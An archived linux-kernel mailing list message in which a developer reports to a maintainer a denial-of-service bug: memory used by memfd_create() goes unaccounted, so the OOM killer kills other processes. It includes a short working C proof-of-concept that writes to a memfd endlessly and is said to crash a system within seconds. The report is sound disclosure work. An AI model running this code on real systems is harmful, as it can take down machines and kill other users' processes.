linux-kernel - Possible deny of service with memfd

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Message-ID: <e7e6231d-8cf9-80a6-7459-5fec9ee547ba@amd.com>
Date:   Thu, 4 Feb 2021 17:32:20 +0100
From:   Christian König <christian.koenig@....com>
To:     Michal Hocko <mhocko@...e.com>, LKML <linux-kernel@...r.kernel.org>
Subject: Possible deny of service with memfd_create()

Hi Michal,

as requested in the other mail thread the following sample code gets my 
test system down within seconds.

The issue is that the memory allocated for the file descriptor is not 
accounted to the process allocating it, so the OOM killer pics whatever 
process it things is good but never my small test program.

Since memfd_create() doesn't need any special permission this is a 
rather nice deny of service and as far as I can see also works with a 
standard Ubuntu 5.4.0-65-generic kernel.

Cheers,
Christian.

#define _GNU_SOURCE
#include <sys/mman.h>
#include <unistd.h>
#include <stdlib.h>

unsigned char page[4096];

int main(void)
{
         int i, fd;

         for (i = 0; i < 4096; ++i)
                 page[i] = i;

         fd = memfd_create("test", 0);

         while (1)
                 write(fd, page, 4096);
}